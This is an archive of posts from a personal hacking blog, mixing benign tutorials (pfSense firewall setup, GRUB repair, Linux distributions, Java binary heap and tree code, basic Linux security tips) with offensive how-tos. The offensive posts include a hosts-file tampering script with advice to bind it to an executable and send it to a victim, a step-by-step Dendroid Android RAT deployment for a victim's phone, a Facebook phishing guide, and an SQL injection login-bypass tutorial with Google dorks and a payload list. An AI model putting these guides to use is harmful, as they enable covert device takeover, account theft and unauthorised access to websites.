Abhijeet Hacking Articles

Bulk Shellcode Generator

2016-02-28T19:17:00.000+05:30

This one I created in spare time for simplifying the process of creating shellcodes using msfvenom. I hope you like it.
You can download it from here.

Requirements :

Metasploit
python2.7

Installation :

git clone https://4bh1@bitbucket.org/4bh1/bsg.git
cd bsg/
chmod 0755 exp.py
./exp.py

Note :

Edit the pay file with your payloads form metasploit with their perfered options(like LHOST,LPORT,etc). Each payload to be specified on a different line.

Any suggestions welcomed.

Simple Windows host file modifier script

2015-08-11T02:20:00.000+05:30

Hello all I am here once again here with my time-pass script.
It can be used to modify the Windows host file records in a single click.

 #! /usr/bin/env python
 import os  
 def main():  
   #change the current directory to the host file directory  
   os.chdir("C:\Windows\System32\drivers\etc")  
   #opening the host file  
   fi = open("hosts","a")  
   #changing the dns information  
   fi.write('\n127.0.0.1 \t www.google.com')  
   #flushdns cache on the system  
   os.system('ipconfig /flushdns')  
   #closeing the file  
   fi.close()  
 if __name__=='__main__':  
   main()

Note : You can create the .exe (executable) of this script bind it with some other exe file and send it to your victim. This can easily modify the victim's host file.

Installing a dedicated firewall(pfSense)

2015-07-21T16:56:00.001+05:30

Hey folks today we are gonna learn "How to setup a dedicated firewall " it can be used for Home network or Small Business or even for your Pen-testing Lab.

About pfSense : pfSense is a open source stateful firewall. A stateful firewall monitors the state of its each connection and makes decisions according to the information obtained. It is loaded with tons of features in it.

Features of pfSense :

Stateful packet inspection
Web Based GUI
IPv4 & IPv6 support
DHCP Server
Package manager
PPPoE Server
Packet capture & Sniffer
more can be found here

Requirements :

CPU - 1Ghz or more
RAM - 1GB
Hardrive space - 1GB
Bootable media (download iso according to your architecture form here)
2 network adapter (for WAN & internal network)

Sample architecture of our networks :

Note : Installing router before the firewall is always recommended as the router is faster in filtering the traffic as compared to the firewall. You can always add some rules to the router so that you can eliminate the unwanted packets form the internet.

Note : You can also install pfSense in virtual machine thus creating a simple lab for networking testing and penetration testing. As show in the figure below.

Procedure :

Attach both the adapters to your machine. One will be for WAN(i.e. your internet cable) and other for our internal network cable. If making virtual machine add 2 adapters one as Bridge network and other for internal network like this.
Now insert your bootable medium and let it boot up. After booting you will see something like this. Let it go through autoboot ,don't press any key during this process.
After autoboot is completed it will show up all valid interface's connected. And then the setup will ask if you want to setup VLAN's, enter "n". Now the setup will ask for the WAN and LAN interfaces. Set le0 for WAN and le1 for LAN respectively.
After you have setup WAN & LAN interface, the setup will show what changes you have made recheck them before moving forward. Then you will be asked if you want to proceed type "y".And you will be presented to the following screen.
Now select "2" to assign IP address to our interfaces. Leave WAN as it is and press "2" again to assign IP to our LAN interface. I have entered 10.0.0.1 in my case you can also assign the same or your preferred IP and press enter. Next you will be asked to enter your subnet masks enter 24 . If you don't know what subnet mask is please consider researching about it.
Now you will be asked whether you want to start DHCP server on LAN, press "y". Now enter the starting and ending range for IP address I have entered 10.0.0.2 and 10.0.0.10 ,so now our LAN can allow up to 9 different devices excluding our firewall. After entering the range of IP's for the LAN you will be asked whether you want to start HTTP webconfiguratio GUI enter "y".
All the configuration have been finished now lets install pfSense. Press 99 to start installation. The following images of the installation are self explanatory.
Now the installation is completed lets connect your Linux or Windows machine to the LAN port and open http://10.0.0.1/ with the following credentials.
By default your LAN machine will not have any internet connection. To turn on the internet connection go to Services>DHCP Server. Now there search for DNS Servers enter there 8.8.8.8 and 8.8.4.4 or your DNS server .

That's it now you have successfully installed pfSence for your network. In the Next tutorial I will show you how to configure pfSense.

Setting up Dendroid (Android RAT)

2015-06-23T01:19:00.000+05:30

Hello folks today I am gonna teach you guy how to setup one of the most famous android RAT(Remote Administration Tool). More information about Dendroid can be found here.

If you want to use this tutorial for miscellaneous purpose please stop reading.

Legal Disclaimer : This tutorial is completely for educational purpose only. For any misuse of this tutorial by any means the author will not be held responsible.

Requirements :

Hosting account with PHP & MySQL support.
Dendroid source download it from here.
Android Studio download it from here.
Brain :p

Procedure :

Create a hosting account if you don't have any.
Now create a MySQL database and note down the following information like (database name,database user_name,database password,MySQL host/ip)
After downloading Dendroid.rar extract it.
Now extract Dendroid Panel.zip and go to Dendroid Panel/Panel/ now open the following files and replace "http://pizzachip.com/rat/" with your domain name. :

applysettings.php
blockbot.php
clearawaiting.php (Also change <? to <?php in first line)
clearmessages.php (Also change <? to <?php in first line)
deletebot.php
deletefile.php
deletepics.php
functions.php
table.php

Now open reg.php and do the following changes :
Now open the following files and locate if($_GET['Password'] == "keylimepie") change "keylimepie" with your Database password :

get.php
get-functions.php
new-upload.php
upload-pictures.php

Now open Dendroid Panel folder and navigate to Dendroid Panel/Other Files and create zip of the file "SQL.sql" remember zip not rar.
Open your control panel and navigate to your phpMyAdmin. Now click on Import and select the file SQL.sql.zip and click on Go at the bottom of the page.
Now upload all the files and our database is all setup .Now go to your panel for eg. "http://mysite.com/panel/" if everything went right you will see something like this.
Now click on Begin Setup you will be navigated to the following screen. Now start filling all the details that you took note of in the step 2. Add all the other values as entered in the image and click on Continue.
If every thing went will you will directed to the following screen. Click on Finish Setup.
Now leave the Web_Pane it there. And extract "Dendroid Apk.zip".
Open Android Studio and Click on "Open Existing Project", now navigate to the folder "Dendroid Apk".
Now select Project Files as done in the image below.
Now open MyService.java located in '"src/com"/connect/MyService.java' if you can't find the file just take a look at the image below.
Now go this website and encode the following variables value as directed.

encodeURL = the address of your panel eg. http://mysite.com/panel
backupURL = if you have a backup panel then enter its address if not then use the encoded url
encodedPassword = your encoded password

Now its almost done save the file and click on Build>>Make Project.
Note this will create a Unsigned apk to create a Signed apk click on Generate Signed Apk.
Now after compilation is completed you should have a new folder named out there you can find your apk that is needed to be installed in the victims mobile.

Simple \n remover

2015-06-07T18:18:00.002+05:30

This is just a simple python script that I created to remove extra '\n' or enters from a text file. It's kind off useless but I thought it might be good for sharing at least.

 #! /usr/bin/env python  
 fi = raw_input('''  
 __     ___                
 \ \ _ _  | _ \___ _ __ _____ _____ _ _   
  \ \| ' \ |  / -_) ' \/ _ \ V / -_) '_|  
  \_\_||_| |_|_\___|_|_|_\___/\_/\___|_| v0.1  
                   \n\nEnter the name or path of the file,to remove extra ENTER's. \n\n>>''')  
 try :  
      te = open(fi,'r+w')  
 except :  
      print 'File does no exist'  
 fin=[]
 te1 = te.readlines()  
 te.seek(0,0)  
 te.truncate()  
 for x in te1:  
      if x != '\n':  
           fin.append(x)  
 te.write(''.join(fin))  
 te.close()

Binary Heap in Java

2015-06-06T16:29:00.000+05:30

Here is a example of Binary Heap in Java which my friend CodeZero wrote.
Copy it in your IDE or notepad and save it as "Test2.java"
You will need JDK to run this. Download it form here.
To run this open up the terminal or command prompt and type :

javac Test2.java
java Test2

 /*  
  * Author:_ash__  
  * Title:BinaryHeap[MaxHeap] implementation in java.  
  */  
 import java.util.Arrays;  
 public class Test2 {  
      public static void main(String args[]){  
           //Binary Heap with array passed in constructor.  
           System.out.println("bh1 operations.");  
           BinaryHeap bh1=new BinaryHeap(new int[]{8,10,12,13,14,15,16});  
           bh1.showHeap();  
           System.out.println(bh1.remove());  
           System.out.println(bh1.remove());  
           bh1.showHeap();  
           bh1.incrementElement(4, 100);  
           bh1.add(30);  
           bh1.showHeap();  
           bh1.add(40);  
           bh1.showHeap();  
           bh1.add(31);  
           bh1.showHeap();  
           System.out.println(  
                     "\n----------------------------------------------------------------\n"  
                     + "bh2 operations."  
                     );  
           //binaryHeap with capacity passed in constructor.  
           BinaryHeap bh2=new BinaryHeap(10);  
           bh2.add(8);  
           bh2.add(10);  
           bh2.add(12);  
           bh2.add(13);  
           bh2.add(14);  
           bh2.add(15);  
           bh2.add(100);  
           bh2.showHeap();  
      }  
 }  
 class BinaryHeap{  
      int data[];  
      int capacity=0;  
      int heap_size;  
      //set data array  
      public void setData(int data[]){  
           this.data=data;  
           heap_size=data.length;  
      }  
      //get data array  
      public int[] getData(){return data;}  
      //show data in array format.  
      public void showHeap(){  
           String val="[";  
           for(int i=0;i<heap_size;i++){  
                val+=""+data[i];  
                if(i+1!=heap_size)val+=",";  
           }  
           val+="]";  
           System.out.println(val);  
      }  
      //convert an given array to heap  
      //in a given binary Heap node form [0 to (data.length/2)-1] are all non-leaf nodes.  
      public int[] buildHeap(int data[]){  
           for(int i=data.length/2-1;i>=0;i--)  
                heapify(data,i,data.length);  
           return data;  
      }  
      //returns the [MAX --> ROOT] from the the heap.  
      //if Empty returns -1.  
      public int remove(){  
           if(heap_size<1)return -1;  
           //decrease heap size.  
           heap_size--;  
           //return first element.  
           int key=data[0];  
           //swap first and last elements.  
           data[0]=data[heap_size];;  
           heapify(data,0,heap_size);  
           return key;  
      }  
      //adding elements to a given heap;  
      public void add(int val){  
           if(heap_size<capacity){  
                //add element at last position.  
                data[heap_size]=val;  
                int i=heap_size;  
                //[i/2] gives index of the parent of a given child node 'i';  
                while(i>0 && data[i/2]<data[i]){  
                     int tmp=data[i/2];  
                     data[i/2]=data[i];  
                     data[i]=tmp;  
                     i=i/2;  
                }  
                heap_size++;  
           }  
      }  
      //increment an element at a given indexl  
      public void incrementElement(int i,int val){  
           //check given value is greater than original indexed value;  
           if(val>data[i] && i<heap_size){  
                data[i]=val;  
                //[i/2] gives index of the parent of a given child node 'i';  
                while(i>0 && data[i/2]<data[i]){  
                     int tmp=data[i/2];  
                     data[i/2]=data[i];  
                     data[i]=tmp;  
                     i=i/2;  
                }  
           }  
      }  
      //assign max capacity of an heap.  
      BinaryHeap(int l){  
           data=new int[l];  
           capacity=l;  
      }  
      //assign array to data.  
      //and convert it into a heap.  
      BinaryHeap(int data[]){  
           heap_size=data.length;  
           capacity=heap_size;  
           this.data=buildHeap(data);  
      }  
      //convert to or impose heaps rules on a given node.  
      //i.e parent node is [>=] its child nodes  
      private void heapify(int data[],int i,int length){  
           int l=2*i+1;//2i+1-->gives left child index of an parent.   
           int r=l+1;//(2i+2)==l+1-->gives right child index of an parent.  
           int largest;  
           if(l<length && data[l]>data[i])  
                largest=l;  
           else   
                largest=i;  
           if(r<length && data[r]>data[largest])  
                largest=r;  
           //now swap largest with i  
           int tmp=data[largest];  
           data[largest]=data[i];  
           data[i]=tmp;  
           //this can be remove if only u want to build the heap.  
           //but this statement is useful will removing a node from the heap(in our case the root node).  
           if(largest!=i)  
                heapify(data,largest,length);  
      }  
 }

Binary Tree in Java

2015-06-06T16:22:00.001+05:30

Here is a example of Binary Tree in Java which my friend CodeZero wrote.
Copy it in your IDE or notepad and save it as "Test1.java"
You will need JDK to run this. Download it form here.
To run this open up the terminal or command prompt and type :

javac Test1.java
java Test1

 /*  
 Author:_ash_  
 InputTree:  
 -------50  
 ------/--\  
 -----10--70  
 ----/-\---\  
 ---5--20--80  
 -----/--\  
 ----15---30  
 ----/  
 ---12  
 */  
 public class Test1 {  
      public static void main(String args[]){  
           BinaryTree b1=new BinaryTree();  
           b1.add(50);  
           b1.add(10);  
           b1.add(5);  
           b1.add(15);  
           b1.add(12);  
           b1.add(20);  
           b1.add(30);  
           b1.add(70);  
           b1.add(80);  
           b1.preTraverse(b1.root);  
           System.out.println("Find 1 : "+b1.find(1));  
           System.out.println("Find 5 : "+b1.find(5));  
           System.out.println("Delete 30 : "+b1.remove(30));  
           System.out.println("Delete 20 : "+b1.remove(20));  
           System.out.println("Delete 80 : "+b1.remove(80));  
           System.out.println("Delete 10 : "+b1.remove(10));  
           System.out.println("Delete 70 : "+b1.remove(70));  
           System.out.println("Delete 50 : "+b1.remove(50));  
           b1.preTraverse(b1.root);  
      }  
 }  
 class BinaryTree{  
       class Node{  
           int key;  
           Node right;  
           Node left;  
           Node parent;  
           Node(){}  
           Node(int key){  
                this.key=key;  
           }  
           public String toString(){return ""+key;}  
      }  
      Node root;  
      public void add(int val){  
           Node newElement=new Node(val);  
           if(root==null){  
                root=newElement;  
                return;  
           }  
           Node cursorNode=root;  
           while(true){  
                if(val<cursorNode.key){  
                     if(cursorNode.left==null){  
                          cursorNode.left=newElement;  
                          newElement.parent=cursorNode;  
                          return;  
                     }  
                     cursorNode=cursorNode.left;  
                }  
                else if(val>cursorNode.key){  
                     if(cursorNode.right==null){  
                          cursorNode.right=newElement;  
                          newElement.parent=cursorNode;  
                          return;  
                     }  
                     cursorNode=cursorNode.right;  
                }  
           }  
      }  
      //remove operations  
      public boolean remove(int key){  
           Node nodeToDelete=find(key);  
           if(nodeToDelete!=null){  
                //case #1:node has no child.  
                if(nodeToDelete.left==null && nodeToDelete.right==null){  
                     deleteCase1(nodeToDelete);  
                     return true;  
                }//case 2#:node has only one child (right | left).  
                else if(nodeToDelete.left!=null && nodeToDelete.right==null){  
                     deleteCase2(nodeToDelete,true);  
                     return true;  
                }  
                else if(nodeToDelete.right!=null && nodeToDelete.left==null){  
                     deleteCase2(nodeToDelete,false);  
                     return true;   
                }//case 3#:node has two child's.  
                else{  
                     deleteCase3(nodeToDelete);  
                     return true;  
                }  
           }  
           return false;  
      }  
      //delete case #1 method.  
      private void deleteCase1(Node nodeToDelete){  
           if(nodeToDelete==root){  
                root=null;  
                return;  
           }  
           Node parent=nodeToDelete.parent;  
           if(parent.left==nodeToDelete)parent.left=null;  
           else if(parent.right==nodeToDelete)parent.right=null;  
      }  
      //delete case #2 method.  
      private void deleteCase2(Node nodeToDelete,boolean isLeftNode){  
           if(nodeToDelete==root){  
                if(isLeftNode)root=nodeToDelete.left;  
                else root=nodeToDelete.right;  
                return;  
           }  
           Node parent=nodeToDelete.parent;  
           if(parent.left==nodeToDelete){  
                if(isLeftNode)parent.left=nodeToDelete.left;  
                else parent.left=nodeToDelete.right;  
           }else if(parent.right==nodeToDelete){  
                if(isLeftNode)parent.right=nodeToDelete.left;  
                else parent.right=nodeToDelete.right;  
           }  
      }  
      //delete case #2 method.  
      private void deleteCase3(Node nodeToDelete){  
           Node nodeToSwap=minNode(nodeToDelete.right);  
           if(nodeToSwap==nodeToDelete.right)deleteCase2(nodeToSwap,false);  
           else deleteCase1(nodeToSwap);  
           nodeToDelete.key=nodeToSwap.key;  
      }  
      //find operations  
      public Node find(int key){  
           return findNode(root,key);  
      }  
      private Node findNode(Node root,int key){  
           if(root==null)return null;  
           if(root.key==key)return root;  
           if(key<root.key)return findNode(root.left,key);  
           if(key>root.key)return findNode(root.right,key);  
           return null;  
      }  
      private Node minNode(Node root){  
           if(root.left!=null){  
                return minNode(root.left);  
           }else return root;  
      }  
      //traverse operation's.  
      public void inorderTraverse(Node root){  
           if(root!=null){  
                inorderTraverse(root.left);  
                System.out.println(root.key);  
                inorderTraverse(root.right);  
           }  
      }  
      public void postTraverse(Node root){  
           if(root!=null){  
                postTraverse(root.left);  
                postTraverse(root.right);  
                System.out.println(root.key);  
           }  
      }  
      public void preTraverse(Node root){  
           if(root!=null){  
                System.out.println(root.key);  
                preTraverse(root.left);  
                preTraverse(root.right);  
           }  
      }  
 }

How to repair LINUX Grub after installing Windows 7

2015-01-26T13:55:00.001+05:30

After re-installing Windows 7 I faced a big problem :(. I was unable to boot into my LINUX partition's , as my MBR (Master Boot Record) was written by Windows 7 and it didn't included my LINUX. So I asked many of my friend's they asked me to re-install LINUX. So I decided that I won't do it there might be any method to do this without destroying my LINUX. So I searched searched and found a method in the wild. I am gonna tell how to fix it in a right way. So let's start.

Note : Remember that you should have the original copy of the grub that is installed in your computer.

1) First of all insert your CD ,Pendrive,etc. And boot into trial mode and open up the teminal. Type there

sudo su

2) Now type

fdisk -l

This will list all you partation's on your hard disk Now the important work check which one is your LINUX partation. The Id of LINUX partation is 83.

3) Now type

mount /dev/sdxy /mnt/

Replacing x by your actual device and y by your partation number. And then this command's.

mount --bind /dev /mnt/dev

mount --bind /proc /mnt/proc

cp /etc/resolv.conf /mnt/etc/resolv.conf

chroot /mnt

4) Now it's time to install our grub so type

grub-install --recheck /dev/sdx

Replace x by your actual device.
If everything goes well you will see this.

5) Now type

reboot

And let your PC restart.

6) Now login to your LINUX OS and open up the teminal and type.

sudo update-grub

7) Now that's all your are now done any problem ask in comment's.

Source : lancelhoff.com

Which Linux distribution to choose ?

2014-05-31T16:02:00.000+05:30

Well this is quit difficult to choose a appropriate distribution. There are many aspects of choosing a distro like package-manager , stability , desktop-environment

What is Linux Distribution ?

A Linux Distribution is Operating System built upon the Linux Kernel. Linux distributions are usually targeted at common hardware like personal computers, but are available for a wide variety of systems up to the most powerful supercomputer and also embedded system. A typical Linux distribution comprises a Linux kernel, GNU tools and libraries, additional software, documentation, a window system, window manager, and a desktop environment.

On what things does the Distribution depends ?

Linux distro's depends upon the following factors :

Package Manager
Community Support
Hardware Compatibility
Stability and Cutting Edge
Desktop Environment

Package-Manager : It is quit important if you are new Linux user. A Package-Manager allows the user to install or uninstall a program easily by properly building its dependency for that package. There a big gaps between distro's for not supporting large number of package's. APT is the package manager used by Debian. It supports a large number of packages. Ubuntu one of the most famous OS uses APT including Linux Mint. Fedora and Redhat uses "yum" as a package manager , and Arch uses "pacman". Until a good package manger you will end up compiling the source's and fixing dependencies, that surely not a good idea for a newbies.

Community Support : When you got a problem with your OS what you will do .? search on web or ask on the forums. This is one of the most common problem with new distributions is that they don't have a large community for a problem to fix every-time the developers need to rush for the help. This is not some times not possible to solve all problems until you don't have nice community to help. There are many Linux distro's that have a large community like Ubuntu,Debian,Arch,Fedora,etc. With a large community support you can solve almost any problem.

Hardware Compatibility : This is quit a problem with new hardware compatibility problem. Different Linux distro's packs different installer's of drivers. You might need extra bit hardwork for searching and configuring it for your hardware. You should take a look at the hardware compatibility page of the distro you are about to install.

Stability and Cutting Edge : If you like to get latest update's of your distro's then you would gotta install Fedora based system's. But you are a kind who would not like to take risk's and use a thoroughly distro then Debian based distro's are best for you.

Desktop Environment : Desktop Environment plays a big role on the performance of the system. But if you want a nice and a eye-catchy looks you need try GNOME or KDE but they eat-up a lot of system resources. But desktop-environment's like XFCE or LXDE concentrate on performance, but you can customise as you like no problem with it. However you can install any desktop environment any time if you like.

Ok give me some examples :

Debian : Debian is one of the most stable Linux distro's. It's a community project without any backing of a company. The main intention of Debian distro's it make stable and bug free OS. It is a well organised project. Debian has 3 stages Stable , Testing and Unstable. They are quit slow for releasing new version's as every version goes under through testing. Every Debian release is named after the character of the movie Toy Story. It supports a lot of different architecture.

Ubuntu : If you have ever used any Linux distro it would be Ubuntu. It is one of the most popular Linux distro's out there. Ubuntu itself is Debian based. Ubuntu project started in 2004 , it was project by a company named Canonical. Canonical started sending free Live CD's of Ubuntu which made it quickly made it famous around(they have now stopped to sending free CD's now). Ubuntu aims on Graphical Interface. You will not probably need to use command line. Canonical also need to make profit out of it so they sell support for Ubuntu.

Arch Linux : Arch Linux is highly customisable OS. It haves it's own package manager "pacman". When you install Arch you will only have a command line access you will have to install desktop-environment, drivers, basic applications,etc. You will need to install Arch from scratch there would be no graphical interface for guiding through installation. But if you need to make a distro's according to your taste then Arch Linux is best choice for you. Here is a tutorial written by Mr.Tux >> Installing Arch Linux Part 1.

Red Hat : Red Hat Linux is billion dollar Linux company. They have an excellent support for their customers. They have hundred's of Linux specialist. They put on a lot of effort for the development of Linux. They have their 2 products Red Hat Enterprise and Fedora which are for free. Fedora is a community supported OS. Fedora focuses on innovation and integrating latest technologies in their distro They have their own package manager "yum" the compiled binaries are ".rpm" (like .deb in debian). While Fedora focuses on latest technology Red Hat Enterprise focuses on stability.

What is Linux ?

2014-05-31T15:59:00.001+05:30

Hello all after a long time I pop ed out. And on the other hand Mr.Tux is busy with his office work.
I was enjoying vacation :p. Without wasting much time lets start.

Linux History :

It all started in 1969 when Dennis Ritchie and Ken Thompson created Unix Operating System at AT&T Bell Labs. Unix was programmed in high level Assembly Language . But when C programming language was developed in 1972 then Unix was rewritten in C to make it portable and better. The availability of Unix it was highly adapted. Unix was the first OS who's kernel was written in programming language other than Assembly.

In 80's many companies adopted and modified Unix according to them. IBM created AIX ,Sun created SunOS (now Solaris) and many more.

In 1983 Richard Stallman started GNU project for creating a free-Unix like OS. For this he wrote GNU General Public Licence. GNU was like Unix but not Unix. GNU is an reverse acronym whose meaning is GNU's Not Unix. However GNU kernel Hurd didn't do well.

The 90's started with Linus Torvalds, a Swedish speaking Finnish student, buying a 386 computer and writing a brand new POSIX compliant kernel. He put the source code online, thinking it would never support anything but 386 hardware. Many people embraced the combination of this kernel with the GNU tools, and the rest, as they say, is history.

How much Linux :

Today more than 90 percent of supercomputers (including the complete top 10), more than half of all smartphones, many millions of desktop computers, around 70 percent of all web servers, a large chunk of tablet computers, and several appliances (dvd-players, washing machines, dsl modems, routers, ...) run Linux. It is by far the most commonly used operating system in the world.

Why Linux ? :

Linux is open source that is you can download it and modify it according to your means. The most important advantage of using Linux is that , as it is open source there are very less probability for any bug or an vulnerability to stay for very long. Here is an image that shows why Linux is better that Windows .

To know more about this topics click here.

Ok where do I start ? :

So now I have convinced you to use Linux its time to start your journey to Amazing World of Linux !!!
Where to start there are about thousands of Linux distro's available out there. I am gonna write a separate article for it.

Finding the PID of the any process

2014-03-11T21:36:00.000+05:30

Hey guys today I am gonna show you "How to find the PID of process using its name".

1) Open the Terminal.

2) Now type :

ps axf | grep -i process_name

Here is an example.

For more Information about this command type the following :

man ps

Basic Linux Security Part 2

2013-12-31T11:36:00.002+05:30

In the last part of Basic Linux Security we have discussed about the basic flaws normally present in all the operating system's, but specially many of the new Linux users have a mindset that Linux cannot be compromised. So in this part we will be covering how these some basic loopholes.

It all starts with a good PASSWORD : Yeah it's a basic thing in our day to day life but still many people don't give attention on it. When I ask someone to use some complex password they just start giving me excuses like ""Who will remember that? What the hacker/cracker is gonna do with my password?"" and many more. I just surfed out the net and found some most common password of the year 2012 here is a list of top 25 common passwords.

1. password
2, 123456
3. 12345678
4. abc123
5. qwerty
6. monkey
7. letmein
8. dragon
9. 111111
10. baseball
11. iloveyou
12. trustno1
13. 1234567
14. sunshine
15. master
16. 123123
17. welcome
18. shadow
19. ashley
20. football
21. jesus
22. michael
23. ninja
24. mustang
25. password1

So keep in mind to keep a strong password for your Wifi , accounts, computer and anywhere necessary.

Don't just give r00t everywhere : Yes don't login as r00t or don't use sudo everywhere. As you login as r00t you will modify your /root by mistake and cause a big mess to your system and start crying :v :v . Remember if you cant explain it to your grandmother then don't do it.

Keep a Backup : Losing your important data gives a great pain to your heart and your business. So keep in mind to perform a backup time to time. Here is tutorial how to perform a backup Backup Your System.

Data Encryption : Encrypting the home directory or your whole hard disk is a concern to your Physical Security of your computer. So if any one is having physical access to your PC then also he won't be able to get the data of your Hard Disk. Here is a tutorial for it .
EncryptedFilesystemHowto.

Browser Security : In the world of internet many of the websites are back-doored by the malicious crackers or there are many techniques present out there that can take away your browser session cookies with just one click. So to prevent these attack you should keep your self protected you should take some precautions. Here are few very important addons for Firefox browser to ease your work.

NoScript : NoScript is an Award Winning Firefox addon. NoScript blocks JavaScript, Java, Flash, Silverlight, and other "active" content by default in Firefox. It contains many mind blowing features like Anti-XSS , Whitlisting, Clickjacking Protection, ABE (Application Boundaries Enforcer), HTTPS enhancements and many more. You may download it from here.

AdBlock Plus : You might be suffering form many annoying ads on internet sites (Even on this site :v :v :v). So you may use this addon for protecting yourself from the ads that track you on internet. You can download this adon from here.

BetterPrivacy : BetterPrivacy is an Firefox addon that blocks tracking cookies called LSO's (Local Shared Objects) or "super cookies" that are used by many marketing research companies to track your activity and cannot be deleted like normal cookies.
Download BetterPrivacy from here.

ClickClean : This tool help user to delete internet temporary files, cookies, browsing history, downloaded files history, LSO Flash cookies and also deletes your privacy data when you close Firefox. Download ClickClean from here.

Thanks for reading any query just ask in comments.

Basic Linux Security Part 1

2013-12-22T13:16:00.002+05:30

Unlike Windows, Linux distro's are Open Source which means that thousands of individuals work for the development and security of the Linux. As a result you will receive security updates at least in a week. Below is and image that just says everything about Linux.

So now you think Linux any security ? No ?
If no than you are wrong . There can be many bug's that have not been reported and they can be exploited. And Linux is safe but their applications can be exploited.

The most basic rules :

1. Immediately install security updates when you're notified.
2. Do not install anti-virus , as you *really* don't need it in Linux;unless you share files with Windows.
3. Enable the firewall (sudo ufw enable) without further tweaks.
4. Stick to the official repo's as much as possible, and only deviate from them when strictly necessary and with much caution.
5. Keep Java (both openJDK and Oracle Java) disabled by default in your browser, and only enable it when needed.
6. Use Wine with caution (I would say don't install it).

7. And most important of all use your common sense. The biggest security threat is generally found between keyboard and chair.

Linux Vulnerabilities:

Anti-virus : Many of the people may prefer to use an anti-virus for the Linux. There are very few viruses present out there for Linux. I would say for home uses don't install any. But if you are running any Linux file-based server or mailing system, then you should install anti-virus software for it , as you don't want your Windows clients getting infected by another client virus. If you want a basic anti-virus you can type the following in terminal.

sudo apt-get install chkrootkit rkhunter

The Experts keeps me safe : This is the most common misunderstanding out there. The experts contributing to Linux community are doing there bit but there are many of them can exploit Linux as easily as they can exploit Windows , Macs,etc.

Browsers : You might think how browser can affect your security, but they can. Your browser can be exploited in many ways, namely Phishing, XSS (Cross Site Scripting), CSRF (Cross Site Request Forgery), Click Jacking, etc. That can work on any Operating Systems whether it be Linux,Windows,Macs,Solaris, AIX,etc.

Wifi protection : You might think you might not need any addons for your browser or network . But attacks like Man in the Middle can sniff away your passwords. You can use SSL(Secure Socket Layer) protection (https) , use VPN(Virtual Private Network) or setup a Firewall.

Windows malware can compromise : Windows malware cannot directly compromise Linux but, Linux applications like Wine can be a very favourable environment for the malwares. So be careful while using Wine.

Linux is harder to exploit : This is very common rumour among many of the Linux users. But this is not that true for any experienced/expert user its just a work of their left hand, but most of them get fixed as soon as they get spotted around.

So that's all for this part in the next part I will show how to fix these small small loopholes. Don't forget to read Securing LINUX DESKTOP System. With reference to https://wiki.ubuntu.com/BasicSecurity

SQL injection Basics

2013-08-30T20:55:00.002+05:30

Hey guys its have been a long time since we have written any article Sorry for that :/ . I am going to start a series of Tutorials based on Manual SQL injection.
You might have been seen many tools for SQL injection like Havij, SQLmap, darkMYSQLi,etc...
But if want to create your tool you need to learn Manual SQLi.
This tutorial is based on basics of SQLi. I will be teaching you How to bypass Login Using SQL injection..?

Short introduction about SQL

SQL stand for Structured Query Language. SQL is used to communicate with the SQL database in the from of queries.
Database : In simple words database means a collection of data stored in a systematic manner.
Eg: MYSQL,MSSQL, Ms-Access, Postgresql, Oracle,etc.

SQL injection

SQL injection is the technique used to gain un-authorised access to the SQL database of the victim server and dig all the sensitive information of the server.
According to OWASP SQLi is the mostly responsible for defacement of the websites.

How does a simple login system Works..?

When ever you login to any simple site the login query looks something like this.

SELECT * FROM USER
WHERE ID= $_GET ['USER NAME']
AND PASS= $_GET ['PASSWORD'];

and as you enter your login detail as follows
ID = admin || PASS = password the query becomes.

SELECT * FROM USER
WHERE ID= admin
AND PASS= password;

Bypassing Login Access

So we know how the login system works so lets hack them :D.

Finding Vulnerable site :

So here come's Google Dorks handy. So here are some Google dorks. I will be surely writing an article explaining how to use Google Dorks.

inurl:admin.asp
inurl:login/admin.asp
inurl:admin/login.asp
inurl:adminlogin.asp
inurl:adminhome.asp
inurl:admin_login.asp
inurl:administratorlogin.asp
inurl:login/administrator.asp
inurl:administrator_login.asp

Just paste this codes/dorks at Google search bar and click on any site in the search result.
You will see something like this.

Let's do some injection :

Now type anything in the User and Password field and click on login. What happened ...?
Ohh shit I didn't got access.
Now lets give the Admin panel a Injection of our SQLi.
In the User and Password field type ' or '1'='1 and click on login. Yeah we got access to the Admin panel.

So how does this works...?
This query will search for 1 in the database but no matter's 1 will be always equal to 1.
And you will be logged in.

Here are some more SQL queries.

' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'

If you have any problem just ask in comments.

Whatweb tool on Backtrack 5R3

2013-05-07T12:14:00.000+05:30

In this tutoroal I am going to show you how to use Whatweb tool on your Backtrack 5R3. This is a very great tool it gives you the whole information about the software on the server. Without wasting time lets start guys.

1) First of all start your Backtrack 5R3 and open the terminal and type.

cd /pentest/enumeration/web/whatweb/

2 ) Now type

./whatweb targetsite.com

This will scan the whole website and give the results. As you see that the results include Joomla! 1.5 so now I can use Joomscan against the site. If you have any problem just ask me in the comments.

(Video Tut) Hacking Windows XP Password

2013-02-23T22:33:00.002+05:30

In this tutorial I am going to teach you how to "Hack/Crack Windows XP Password" the tool I am using I Ophcrack. You can download it from here.
Download the ISO image file and burn it cd or make a bootable Pendrive.

Hack Facebook Account using PHISHING

2013-02-04T22:23:00.001+05:30

Phishing is one of the easiest way to hack Facebook account. For more information about the topic view this.
This I just a small and very easy guys, just search for a free hosting site I have some here.
www.000webhost.com
www.1freehosting.com
www.freehostia.com

If you want more you can make quick Google search. I am going to use 1freehosting.com. Just create a free account there. Login to your account you will see this.

1) Click "Create New Account".

2) Fill the required information as directed.

3) Switch into the Cpanel. And select "Import Website".

4) Now just wait and download these files.And upload them to your hosting site.

5) Now what ...? Its done ;) Just open your fake facebook website. Now do some Social Engineering . Any problem just ask me in comments.

Download

Top 10 reasons "Why websites get HACKED ?"

2013-01-26T15:02:00.002+05:30

Below you will find list of top 10 web vulnerabilities classified by OWASP, here is also description of the problem and some examples.

I will just give you the list in case you missed it before, i will not comment on any of these as there is already hot discussion about this matter on several sites/forums.

So here it starts:

1. Cross site scripting (XSS)

The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.

Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder.

